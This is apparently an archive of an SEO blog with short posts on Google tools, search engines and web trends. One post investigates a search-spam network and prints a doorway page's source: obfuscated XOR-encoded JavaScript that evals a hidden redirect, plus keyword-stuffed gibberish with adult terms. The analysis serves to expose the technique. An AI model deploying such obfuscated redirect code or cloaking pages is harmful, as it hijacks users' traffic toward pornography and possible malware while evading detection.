SEO for the Semantic Web - A History of Web 1.0 to Web 3,0

Very interesting depiction and story boarding of how the web was and how it should be moving - as proposed by web 3.0 specifications. I think there are some great examples in this presentation of how data is interpreted by search engines, a good read indeed.

SEO for the Semantic Web

View more presentations from mihaigheza. (tags: web3.0 web)

1TB in 68 Seconds - New Google Data Sorting Record

Google has recently announced new strides in its race to process the world's information - they've been able to sort 1 terabyte of data across 1 thousand computers in a only 68 seconds. The previous record of the the same data (1TB) was sorted across 910 computers and took 209 seconds. For one petabyte of data, it took Google 6 hours and 2 minutes to do the sorting, and the sorted data gets moved to 48,000 hard drives!

Google also acknowledges that they had triple redundancy and the data was backed up on 3 hard drives. Could it be that if you reduced that redundancy, this would all be much quicker? Not necessarily, since storing may not be part of the sorting algorithm that was recorded (and storing the data could have still been ongoing after the sort had been completed).

What's next? I guess the exabyte would be a huge step towards instant live data sorting...

Old Games and Reminiscing

The games being created now are phenomenal for sure, especially when we talk about graphics and video realism. But, there's no comparison to retro games when we talk about game play and enjoyment. Everything after Nintendo 64 games can be considered "lacking" in the same comparitive quality gameplay.

I remember playing golgo 16, gumshoe and super mario brothers on the NES, and street of rage, robocop and eco the dolphin on Sega. I found a site where I could get some used SNES games, especially given the economy right now.

Sites like JJGames allow folks like us to reconnect with our 80's and 90's favorites without too much problem. Games help divert one's mind and occupation, specially after Google algorithm updates experienced in the past couple of months which have led to more undue occupational stress.

The Rarest Words - Semantic SEO Project by Lone Russian Programmer

It's interesting when you come across a beta website like this. The site, therarestwords.com, scans whatever website you place for words it deems opportunistic from a search engine marketing perspective. While these rare words are indeed "rare" and theoretically offer the possibility of being opportunities, the reality may be quite different.

That being said, the site is fun and can be quite useful - most of its usefullness depends on its future applications. My favorite feature is the "SEO fight" where you compare one site to another to see who wins the round for unique and rare words. This is a pretty gamable idea, knowing how SEO's tend to take opportunities like this and make them theirs. Why do I say this? Simple. The site encourages users to add terms that describe the sites or to edit what is already described. Simply click and edit any floating box to tag words and add descriptions, thus boosting "rare" words and adding to the database of terms and descriptions that therarestwords.com has for use on collected websites.

Another reason SEO's will take advantage of this tool is that they have incentive. The top 50 websites with the largest collection of rarest words gets a spot on its homepage and a free link that Google, Yahoo! and MSN adore.

I originally came on this article by techcrunch and got interested enough to try the tools.

I do like the site, and it is impressive that one lone Russian programmer built this, but not quite sure how feasible the concept is just yet. Try it out and let me know what you think. Oh and by the way, the Russian programmer has wanted to lay low without exposing his name or any details about him... Sensationalism? Anticipation or suspense building? Who knows.

Google Local Voice Search - 411 Service From the Search Engine Giant

When I read that Google has a free 411 phone service, I just had to give it a shot. It turned out for a beta, actually pretty good. The system is based off of it's local results database and maps, with a very cheery set of male and female voices. The number is 1-800-GOOG-41 1 and aptly responds similarly to the 411 operator - all except the fact that is it completely automated. No voice operators here!

Albeit, a bit strange callign a phone service provided by Google instead of an online service, as one expects from the search engine - it could prove quite useful and it's free.
The servive is in beta and is called, Google Voice Local Search (GVLS), and according to Google, if the business is part of the Google Maps database, you should be able to get connected.

If there's only a single listing available, it offers to connect you; if more than one, you get a numbered list to choose from. And the best part is you can keep searching and trying other businesses to see how accurate the system is.

Google Unveils, "Web History"

The post explains the benefit of having access to all of your search information from a daily and longterm prospective. While extremely useful for finding your own trailings about the web, it now becomes a major privacy concern, since all of that info is housed on Google. Yes, one can make the point that it has always resided on Google and was never available to the user, but now it is just that much more targetted.

While I am a proponent of harvesting useful data and being able to track your own endeavors (mainly because my memore sucks...), this is problematic, because the web user has no control over the data or any particular situation tied into it... a problem in my book. Nonetheless, this is the advent of a new realm and advancement in user searches - thank you Google!

Google Spam Technique Uncovered

It all began with a client calling and telling me that they uncovered a heinous result in Google. The offender, seeking to gain on their branded term to display pornography and perhaps even install spy ware and viruses, was sitting at position 3 for my client’s brand. We all as SEO’s know the standard procedure is to jump up, bump one’s head into the wall and scream emphatically over the sound of New York City police sirens. But seriously, to submit a Google spam report can take weeks, weeks of defamation and slander for no good reason that leaves one feeling helpless.

Well, I decided to proceed with the standard approach and also to dig up everything and anything I could about the culprit – especially with my curiosity piqued over how this black hat person got a leg up on Google’s algorithm. Thus began my challenge to discover the technique (websites and names have been changed to protect the innocent and guilty).

First, I took a look at the offending website listing on Google, where it was listed as www.website.info/myspampage.html, clicked on it and let it take me to the pornography result. It ended up taking me from www.website.info/myspampage.html to www.pornowebsite.com. I decided that there were way too many unquestionably bad things to see in front of my face all at once like that, so I took a step back. Pressing the escape key on my computer keyboard prior to the redirect into porn, I landed in a seemingly blank page.

To my surprise however, there was nothing on this page but an H1 tag, JavaScript declarations and some ellipse marks. JavaScript? That certainly seemed out of scope on a basic page like this. I took a look at the JavaScript, and to my surprise the code was in fact, encoded. At the time it seemed to me to have been encrypted. So I decided to look up the function and low and behold, the key to the redirect was held in the encoded JavaScript.

So, what is the easiest way to analyze and determine what the code was doing? Take the code, save it to the desktop (X if you are a Linux geek), and change the JavaScript to not execute but rather write the result to the window. Now once that is complete, I ran the code once more with no executed code and on the screen I see the redirect to yet another website URL:

document.location="http://website2.info/govno/search.php?qq=websitekeywordhere";

Sneaky bastards used a complex JavaScript to embed an encoded JavaScript into the page and also applied a gateway/cloaking page strategy to ensure the key terms used were spammed to hell – giving them some possibility of high rank for some time…

But alas, there was more, much more. The site was using a proxy website spamming technique. Example: www.website.info/myspampage.html (with redirect from website2.info/govno/search.php?qq=websitekeywordhere) -> http://www.pornowebsite.com/. So in essence, the spammer could have thousands of websites using the redirect script, a proxy from website2.info/govno/search.php?qq=websitekeywordhere and even if one was banned, delisted or penalized, there were thousands of other foot soldiers to take its place. Another very interesting fact was that these “foot soldier” websites held hundreds to thousands of spam pages as well, giving them that much more potential to rank for seemingly random keywords and terms. On with the challenge…

I decided to remove the spam page URL and try the root URL were there were large blocks of links (up to thousands) with nothing but spaces in between them. Looking at the different terms used, they must have been generated either using an inventory.overture.com bot to determine best search frequency terms or from a sampling of RSS feeds/website directories. Given this scenario, there were so many random links and phrases/terms that it seemed like it was sampling from a text file or some directory listings.

Now knowing that the spammer had a brilliant strategy in mind to conquer results to gain traffic to the pornography website (install malware, etc), there were a couple of things left on my mind: how widespread was this strategy (how many websites), where are these sites, does Google have an index of them? Do they forward to any other “questionable” or “profitable” sites?

Using a reverse DNS tool on the first set of Domains, I pulled up about 90 domains belonging to about 15 IP addresses. Knowing that this is probably a small segment of their “network”, it was still quite sizeable and doing some basic math, it looked like they could have positioned themselves to gain upwards to 1.2 million terms.

Even considering that many of the terms would land on page 2 instead of top spots, the spammer could essentially still benefit from a quantity driving strategy, making money on malware installations, traffic brought to the http://www.pornowebsite.com/ website or even through having a combo of revenue methods strung together. If only 100 people were looking on average for each of the 1.2 million terms, that would mean that 120,000,000 searches could be a potential but realistically 12,000,000 could end up being driven into the spamtastic http://www.pornowebsite.com/. That figure is no joke, and it could be quite small when considering the breadth of terms, amount of domains, pages indexed and searches performed.

Phew! What a mouthful there. So now for a look at the actual code from this dubious result for all you SEO geeks out there:

[!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"]
[html]
[head]
[title]Newspaperwebsite.com [/title]
[meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"]
[meta name="keywords" content="Newspaperwebsite.com"]
[meta name="description" content=" Newspaperwebsite.com Newspaperwebsite.com Online Looking for Newspaperwebsite.com ? Welcome to Newspaperwebsite.com Site. Full Information About Newspaperwebsite.com Here"]
[script]
function nMfqvYV()
{
eval ("var decs = new Array ();var coder = 62;var r = '';");decs [decs.length] = '%5a%51';decs [decs.length] = '%5d%4b%53';decs [decs.length] = '%5b%50%4a';decs [decs.length] = '%10';decs [decs.length] = '%52%51%5d';decs [decs.length] = '%5f%4a%57';decs [decs.length] = '%51%50';decs [decs.length] = '%3%1c%56';decs [decs.length] = '%4a%4a';decs [decs.length] = '%4e%4';decs [decs.length] = '%11%11%5d';decs [decs.length] = '%59';decs [decs.length] = '%9%7';decs [decs.length] = '%49%51%c';decs [decs.length] = '%e';decs [decs.length] = '%55%52%7';decs [decs.length] = '%c';decs [decs.length] = '%5a%51';decs [decs.length] = '%51%49';decs [decs.length] = '%58';decs [decs.length] = '%50';decs [decs.length] = '%e%f%51';decs [decs.length] = '%4f%4e';decs [decs.length] = '%51%7';decs [decs.length] = '%53%5a';decs [decs.length] = '%57%5b';decs [decs.length] = '%51';decs [decs.length] = '%49';decs [decs.length] = '%48%b%4a';decs [decs.length] = '%47%54';decs [decs.length] = '%10';decs [decs.length] = '%5d';decs [decs.length] = '%51%53';decs [decs.length] = '%11';decs [decs.length] = '%58';decs [decs.length] = '%57';decs [decs.length] = '%50%c%11';decs [decs.length] = '%4d%5b%5f';decs [decs.length] = '%4c%5d%56';decs [decs.length] = '%10%4e%56';decs [decs.length] = '%4e';decs [decs.length] = '%1';decs [decs.length] = '%4f';decs [decs.length] = '%4f%3%6d';decs [decs.length] = '%4a%5f%4c';decs [decs.length] = '%4a%4c%57';decs [decs.length] = '%5c%4b%50';decs [decs.length] = '%5b';decs [decs.length] = '%10';decs [decs.length] = '%5d%51%53';decs [decs.length] = '%1c%5';
for (ii=0;ii[decs.length;ii++)
{
var arr = decs[ii].split ( '%' );
for (j=1;j[arr.length;j++)
arr[j] = (('0x' + arr[j]) ^ coder).toString(16);
r += arr.join ( '%' );
}
eval(unescape (r));
}
nMfqvYV();
[/script]
[/head]
[body]
[table align="center" class="main" cellpadding=0 cellspacing=0 width=760]
[tr valign="top"]
[td]
[h1]Newspaperwebsite.com[/h1]
[p] newspaperwebsite.com newspaperwebsite.com had i been there together with newspaperwebsite.com my soul? i ran newspaperwebsite.com up the stairs newspaperwebsite.com in great haste, newspaperwebsite.com i don t remember - but suddenly she broke into sobs and trembled all newspaperwebsite.com over. a terrible fit of hysterics followed. i had frightened her. i carried newspaperwebsite.com her to the bed. when the attack had passed off, sitting on the bed, looked at me and at the revolver note that the revolver was already newspaperwebsite.com an object familiar to her. i had kept one loaded ever since i opened the shop. i made up my mind. that evening the shopkeeper came, bringing with him a pound of sweets from the shop; she was sitting at her little table. newspaperwebsite.com she was busy at her needlework, and sometimes in the newspaperwebsite.com evening she read books taken from my newspaperwebsite.com bookcase. the choice of books in the bookcase must have had an influence in my favour too. she hardly newspaperwebsite.com ever went out. just before dusk, after dinner, i used to take her out every day for a walk. we took a newspaperwebsite.com constitutional, but we newspaperwebsite.com were not absolutely silent, as we used to be. newspaperwebsite.com i tried, in newspaperwebsite.com fact, to make a show of decorum and eager newspaperwebsite.com for trouble. she went out of newspaperwebsite.com her way to stir up trouble. newspaperwebsite.com her gentleness hindered her, though. when a girl like that rebels, however outrageously she may behave, one can always see that she is forcing herself to do it, and that it is impossible for her to master and overcome her own modesty and shamefacedness. that is why such people go such lengths at times, so that one can hardly believe one s eyes. newspaperwebsite.com one who is accustomed to depravity, on the contrary, it sometimes newspaperwebsite.com attracts the feminine heart. in fact, i purposely deferred the climax: what had happened was meanwhile, enough for my peace of mind and provided newspaperwebsite.com a great number of newspaperwebsite.com pictures and materials for my dreams. newspaperwebsite.com that is what is wrong, that i am not sleepy: in great, too great sorrow, after the first outbursts one is always sleepy. newspaperwebsite.com men condemned to death, they say, sleep very soundly on the last night. newspaperwebsite.com and so it went on for some time. but my anger could never be very newspaperwebsite.com real or violent. and i felt myself as though it newspaperwebsite.com were only acting. and though i had broken off out newspaperwebsite.com marriage by buying that bedstead and screen, i could never, never look upon her as a criminal. and not that i took a frivolous view of her crime, but because i would not have them to see me, and i would not keep a huge dog or a strong manservant, as mozer does, for instance. my newspaperwebsite.com cook opens the doors to my visitors. but in our trade it is impossible to be without means of self-defence in case of emergency, and i kept a loaded revolver. in early days, when first she was newspaperwebsite.com living in my house, she took great interest in that revolver, and asked newspaperwebsite.com questions about it, and i even explained its construction and working; i even persuaded her once to fire at a target. newspaperwebsite.com newspaperwebsite.com then her newspaperwebsite.com voice was rather strong, resonant; though newspaperwebsite.com not quit true it was very sweet and healthy. newspaperwebsite.com newspaperwebsite.com now her newspaperwebsite.com little song was so faint - it was not a coward, and that i had seen newspaperwebsite.com nothing, especially as it was newspaperwebsite.com utterly improbable that, after newspaperwebsite.com seeing what i newspaperwebsite.com had seen, i should shut my eyes again, and at newspaperwebsite.com the same instant. oh, what a whirl of thoughts and sensations rushed newspaperwebsite.com into my mind newspaperwebsite.com in less than a minute. newspaperwebsite.com hurrah for the electric newspaperwebsite.com speed of thought! in that case newspaperwebsite.com so i felt, if she guessed the truth and knew that i was not a personal affair, newspaperwebsite.com but that it concerned the regiment, and about a month ago, being a shameless fellow, he once or twice came into the shop newspaperwebsite.com with newspaperwebsite.com a pretence of newspaperwebsite.com pawning something, and i remember, newspaperwebsite.com began newspaperwebsite.com laughing with shame you know how it is when people laugh with shame. she became hysterical, i saw newspaperwebsite.com that she was newspaperwebsite.com too, newspaperwebsite.com and it was only caused by the desperateness newspaperwebsite.com of my position. but that is over.... newspaperwebsite.com oh, now you are a personage - a financier! a hint at the pawnbroker s shop. newspaperwebsite.com but by then i had succeeded in recovering my newspaperwebsite.com mastery of myself. i saw that she newspaperwebsite.com was thirsting for explanations that be humiliating to me and - i did not leave her side. i kept telling her i should take her to newspaperwebsite.com boulogne to newspaperwebsite.com bathe in newspaperwebsite.com the sea now, at once, in a newspaperwebsite.com fortnight, that she had not been with them. newspaperwebsite.com newspaperwebsite.com teen titans oekaki gunilla hutton horacio altuna andys muscle tiger.com one winged angel remix hugeboobpics teentitans hentai inutaisho human chimera fused twins newspaperwebsite.com luxurious villa ilios anakee tiffany amber theisen intellext information company search user watson hayden panettiere nude tempest bledsoe time.com he mele no lilo hothat tawnee stone shrine copyright © 2002-2006, all rights reserved. [/p]
[/body]
[/html]


Newspaperwebsite.com was used 71 times in the gibberish text above.

Now, I can’t say that this wasn’t a fun project, but nonetheless, this kind of crap does impede the good name and nature of SEO folks who walk in the white/grey hat line. We all want relevant searches and expect that all of our efforts will certainly help deliver those results. Even though different clients come across our plate, the end result is the same, clients get educated, we learn more about technology, industries and online marketing strategy, and search engines evolve.

Helping to close the gap for these silly tactics to gain ground in, is every SEO’s responsibility. One network of spammers killed off, wastes their money, removes tens of thousands of possibly affected results from coming to fruition and makes search engines/companies happier – leaving us to look as we should, great professionals with a conscious who are united.

Feel free to leave your impression about this topic. Bad or good, Search Engine Optimization comments always lead to evolving technologies, algorithms and techniques.

SEO Today - Search is Dead? - Doubtful

While Dave Pasternack (did-it.com) has some valid reasoning as to Yahoo!'s Subscriptions - their new beta service engine, in my opinion, Dave loses me on his thoughts that search will transition because of Yahoo!'s decision to put stock into their Yahoo! Subscriptions Service. After all, we all know Yahoo! is quite monetarily motivated, not user experience motivated, second, Yahoo! is losing market share to Google, the unreputed victor in search engine technology.

While Yahoo! in essence seems to be admitting defeat in the search engine space when it comes to natural search (organic), Yahoo! is just looking to monetize yet another approach to search. Google is making search better through it's many offerings - enhancing the usefulness of the results and user experience. While Google is in no way perfect, and quite frankly, churns out some very useless results, this is a complicated technology and with experience, testing and experiementation - search engines will remain organic in most.

Organic (natural search) may change when the algorythm improves to a level of proficiency within the best 10 results, making the SEO process intense, however, competition will remain and boost the need to know search engine technology inside and out.

SiteProNews is a free newsletter and webmaster resource site

Site Pro News is a great source for website / SEO information, and I would emplore you to signup for their SEO tips newsletter (especially if you are new to SEO). Many of their articles are useful, and best yet, they keep things simple and cite sources for direct information.

Of all the SEO or website development newsletters by email I receive, Site Pro News is one of the better ones. Fo instance, at the time of this writting (06.20.06), Site Pro News has on its home page 25 ways to add quality content to your website (part 1). This article makes its way into some fresh and not-so fresh ideas however, all of them are excellent for SEO and also making your content useful to users. While there are quite a few ads and sponsored links available on their website, the content is always useful and written to inform.

Google Coop Learnings

Great thing, this Google Coop offering. I was playing around with it an actually learned quite a few useful things regarding the usefulness and utilization of the service. Here are a couple of bits in the way of public knowledge and observation:

1) Google Coop is subscription based - Meaning, only users logged in and subscribed to Google Services will be able to view Coop listings (not coop refinements in the SERP)
2) Google Coop is flexible - The feeds that are provided for subscriber based searches allow for variants and even dynamic rulesetting. For example: If you own a blog at site.com/blog and you wanted anyone looking for [Color]+ site widget, the feeds can be "smart" enough to be found without too much difficulty - such as: "purple site widgets", "blue site widgets" or "green site widgets" (Take a look at the screenshot provided to see what I mean).

3) Google Coop feeds gain more visibility through popularity - Feeds that have high subscriber counts within their industry, gain more visibility through subscriber searches, and also place into the category "authority" sites listings within the Google Coop home website (whether or not someone is subscribed or logged in to Google Services).

Much more to be unveiled soon, however this is certainly a great start with regards to service understanding and knowledge for Google Coop.

Let me know if there is anything else to be added, or perhaps your findings about this service.

Google Spreadsheet - Web-Based Mayhem?

Banter and rumors are flying concerning Google Spreadsheet, a new web based application which allows users to create spreadsheet displays online (rumored to be included directly off of Google Toolbar with an additional partnership with Sun).

I am always curious to try a new offering, particularly when it has the potential to be really useful or if it competes against a product I deem inferior within the same class (IE: Microsoft Excel Spreadsheet Program). Although Microsoft's spreadsheet program works to a degree and has helped me create ton's of useful documents, The way it works is... well... a bit clodgy. Web-based may not necessarily be a good thing eaither, unless it offers the potential to be linked into intranet applications using an API... think about this Google Spreadsheet developers (if you haven't already).

We can wish for the best, however in reality, all we can do is wait for Google Spreadsheet and at the current time, it is quite a tease for many in industries which utilize Spreadsheet technologies such as analytics, financial and SEO. Given all of the tools that Google develops and releases, it is amazing at times at the rate in which they are churned out (all in beta mind you).

Comments, anyone?

Google Music: Part of the Search Engine Suite?

Although I have spoken about Google Music in the past, I've just had the chance to see it in action in the serps. Take a look at the above screenshot and you will see what I mean. I got a Google Music result off of the term "Foxy".

Although this to me is all a part of the Google search engine suite of tools, including but not limited to: Google Maps, Google Local, Google Desktop, Google Toolbar, Google Base, Google Trends, Google Finance and Google Coop. Of course there are many more, butg these seem to be the latest core of applications for the search engine giant, and this particular selection of tools seems to fit the bill when it comes to user search refinement and quality searching.

One thing in common is the logic behind the search engine applications, but they are all unique in the functionality and accessibility they offer to their users and sources. There is much more potential coming from these tools than Google has implemented, but this is certainly a great start. One could easily say that Google has the brain power, money and talent to continue scaling up the mountain of challenge to reach the apex of search engine success (hard to imaging right now as they are humungous and quite prosperous...

Let us all eat cake and the king shall reign for a thousand more years.

KartOO visual meta search engine

I have to say, this search engine is a great implementation of design, interactivity and search in one website. Although it doesn't use it's own blended algorithym, this meta search engine taps into results from a variety of sources and brings them together into a map generated by top twenty results and then "maps" them into a keyword/theme cloud.

This is not only fun, but can also provide guidance for those new to the web, or for practicianers of SEO or website optimization for search engines. By viewing the easily related words per website, one can determine that these words stick out at a search engine (good search engine simultation), posing keyword optimization issues or strengths.

Google Coop Profile and Onebox Listing

Testing Google Coop has turned to be quite a bit of an unknown, as I have involved several XML feeds... Trying out a combination of elements, outlined in the Google Coop developer pages. I still haven't asked anyone to subscribe to my links just yet, but I am hoping since you are reading this (Hint, Hint), that you would want to subscribe to my SEO Google Coop profile...

I would think you (as a Google Coop subscriber) will start seeing advanced notice of any activities related to bloging, SEO, search engines and of course, any updated info on the Google Coop project (mine indubitably). Let me know what you observe given a subscription to my Google Coop Profile.

And feel free to post relevant and useful Google Coop profiles here as well, the more SEO research oriented or at least early discovery based, the better.

Google Base, Local, Co-op and Screenshots

Google Base, the frontier for Local continues to pop-up in the SERP's in very distinct and unique ways. We've all seen by now the drop downs for selections based on recipes, real estate and jobs, but there is a new intregue upon the horizon.

Enter the specific search below for "Monte Carlo Las Vegas", bringing a travel inlay unlike the usual suspects... I've also included the nifty screenshot for the benefit of making this blip useful. In making this observation useful, I also searched based on the pattern for other "known" hotels in Las Vegas, namely "Paris", "Luxor", "Bellagio" and "Venetian". Funny thing is, that while "Paris" and "Luxor" hotels came up in the Las Vegas search, Bellagio and Venetian inlays were non existant - rather they led directly to the standard SERP listing on Google for the official hotel websites.

When I ran a parallel search on Google for "Las Vegas", I got what appeared to be Google Co-Op, providing a selection of drill-down links to narrow the search down for relevance. This was a very positive thing to me as the more options/filtering of results in Google (easy to run and use of course), the better their future engine will be and ultimately the best user experience when searching.

Take a look at the screenshots provided and let me know if there are ny other searches of interest or perhaps other features and uses. Thanks!

Niche Search Engine Results - Kosmix SE

Kosmix is bringing a new flavor to search - niche results specifically.

Practically, this is a refined search engine looking up relative topics and information across a select vertical set. Namely, Health, Travel, Finance, US Politics and Video Games.

It is refreshing to see how information is laid out at Kosmix, a combination of ASK.com and Superpages.com, giving refinement categories / key terms once a search is performed.

Although the Kosmix search engine is small right now, I could see where it has it's strengths, certainly specified searches in it's verticals can provide essentially more useful results than in a generic search like MSN or Yahoo!

Snap Search Engine - New Interface, New Search

Snap has come back into the race with a new interface and also a nifty new search engine. While I don't think it will win any following as of yet, it really is quite easy to use and may in fact beat out www.live.com (MSN's offering) without much difficulty. There are far less bugs and with a couple more features added to Snap.com, the search engine might be a serious contender.

Definately check Snap's search engine out, I had fun testing several searches and using the in-browser, browser, lol. There in fact seems to already be a way to "suggest" a website without them actually having any link to it... As a matter of fact, it looks as if Snap uses an ASK.com approach - Using results that it spiders without recommended URL's then if they exist in the database and someone searches on those sites that aren't yet popular, it votes it into caching a thumbnail and other relevant visual and textual info.

I like that Snap is using the Google Suggest functionality with a twist. The inlaid browser that displays a thumbnail and information regarding that site being looked at, makes it easy to compare result descriptions with actual page content, making the life of a search that much more efficient.

Once again, check it out!

AlltheWeb - Google Suggest Clone?

I am sure this search has been around for a while on alltheweb, but I found it to be a very good implementation of a "Google Suggest" clone for search. It's slightly buggy, but for the most part fund and useful. If the engine also moves into being more targetted, perhaps a niche discovery search engine, I think alltheweb might gain popularity and play with the big boys...

Check it out for yourself.

Google Trends - Released for Search Marketing

Now this tool is quite useful when comparing terms due to consistancy of searches, seasonality of a search and also to determine popularity of terms. So in addition to keyword frequencies, this tool can certinaly help pinpoint the stress-points of an campaign or strategy to optimize it even further. Google Trends also displays regional, language and top cities that conduct the search. Talk about search intelligence!

Furthermore, Google Trends can do wonders for SEO and SEM in external site side optimization and keyword / trend research. It also comes with nifty and easy to use line and bar charts (which can go very well within research, sales and presentation documents). Another note to take in is the viability of ad posting and even related search terms inclusion into results in the future release of Google Trends.

Keep them coming Google.

Why Redirects are Bad

Yes children, it is important to play nicely with the search engines, particularly when getting into linking strategies and redirects.

The article over on Vilesilencer goes into the very basic, highlevel of what to do and what to watch out for when trying to secure links during link building activity. I would say this is a breakdown built for someone who wants to lear SEO or who hasn't worked much with link building.

Check it out and as always, feel free to share your opinions and feedback.